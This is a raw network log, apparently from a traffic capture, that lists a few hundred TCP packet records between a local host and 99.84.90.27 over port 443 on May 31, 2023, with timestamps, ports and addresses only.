May 31, 2023 12:22:21.749865055 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749881983 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750004053 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750025988 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750065088 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750107050 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750113010 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750149965 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750406027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750458956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750478029 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750484943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750519037 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750659943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750678062 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750715971 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750721931 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750767946 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750891924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750912905 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750957966 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.750963926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.750979900 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.751104116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751133919 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751164913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.751172066 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751203060 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.751609087 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751629114 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751676083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751707077 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.751714945 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751761913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.751893044 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751914978 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751956940 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.751961946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.751991034 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752011061 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752090931 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752110958 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752147913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752152920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752183914 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752198935 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752485991 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752509117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752557993 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752564907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752589941 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752604008 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752830029 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752852917 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752892017 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.752898932 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.752939939 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753015995 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753038883 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753074884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753079891 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753110886 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753128052 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753206015 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753225088 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753262043 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753268003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753299952 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753367901 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753649950 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753671885 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753724098 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753732920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.753772974 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.753787041 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.754630089 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.756555080 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.760013103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.760046005 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.760144949 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.760144949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.760168076 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.760191917 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.760256052 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.760277033 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.760324955 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.760998011 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761024952 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761091948 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761096001 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.761116028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761148930 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.761154890 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761166096 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.761171103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761195898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761200905 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.761224985 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.761233091 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.761260033 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.761286974 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.762878895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.762907982 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.762962103 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.762986898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.763015985 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.763098001 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.763181925 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.763221025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.763247013 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.763254881 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.763292074 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.764159918 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.841784954 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.841834068 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842020988 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842046976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842073917 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842108011 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842113018 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842133045 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842144012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842181921 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842207909 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842566013 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842597008 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842673063 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842683077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.842700958 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842725992 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.842967033 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843028069 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843060970 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.843069077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843096018 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.843391895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843425035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843476057 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.843486071 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843519926 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.843861103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843894005 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843950033 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.843960047 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.843990088 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.844245911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.844295025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.844317913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.844326973 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.844341040 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.844367981 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.844715118 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.844752073 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.844803095 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.844814062 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.844834089 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.845272064 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.845316887 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.845350981 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.845360994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.845391035 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.845714092 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.845746994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.845794916 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.845803976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.845822096 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.872427940 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872482061 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872582912 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.872612000 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872639894 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.872652054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872699976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872711897 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.872725010 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872756958 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.872791052 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872824907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872852087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.872859001 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.872893095 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873049974 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873092890 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873125076 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873133898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873168945 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873270035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873291969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873334885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873342037 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873361111 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873374939 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873404026 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873436928 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873444080 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873459101 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873512983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873579025 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873585939 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873624086 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873631954 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873634100 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873648882 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873677969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873691082 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873717070 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873722076 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873744965 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873771906 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873771906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873792887 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873815060 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873831034 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873866081 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873871088 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873917103 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.873927116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873953104 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.873996019 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874001980 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874032021 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874048948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874068022 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874090910 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874130964 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874136925 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874164104 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874181032 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874195099 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874238968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874258995 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874265909 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874290943 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874308109 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874330997 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874366999 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874373913 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874403000 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874433041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874459028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874460936 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874473095 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874481916 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874511003 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874573946 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874593973 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874633074 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874639034 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874663115 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874675035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874701023 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874735117 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874741077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874761105 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874802113 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874842882 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874870062 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874876976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874897003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874914885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874929905 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874943972 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.874947071 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.874980927 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875006914 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875078917 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875109911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875155926 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875163078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875189066 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875200987 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875283003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875312090 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875353098 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875359058 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875386953 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875403881 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875412941 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875441074 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875474930 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875480890 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875509024 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875523090 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875550032 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875575066 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875614882 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875621080 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875648022 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875664949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875680923 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875708103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875742912 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875749111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875776052 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875793934 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875816107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875863075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875880957 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875886917 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875910997 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875926018 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875927925 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.875942945 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875967979 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.875983953 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876029015 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876034975 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876079082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876106024 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876146078 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876152992 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876179934 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876198053 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876224041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876288891 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876291990 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876306057 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876343012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876358032 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876384020 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876409054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876454115 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876465082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876482964 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876485109 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876508951 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876522064 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876535892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876538992 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876576900 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876600981 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876622915 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876653910 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876693010 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876701117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876717091 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876734972 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876780987 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876818895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876854897 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876863003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876889944 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876895905 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876909018 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876918077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876939058 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.876940966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.876967907 CEST	49711	443	192.168.2.6	99.84.90.27
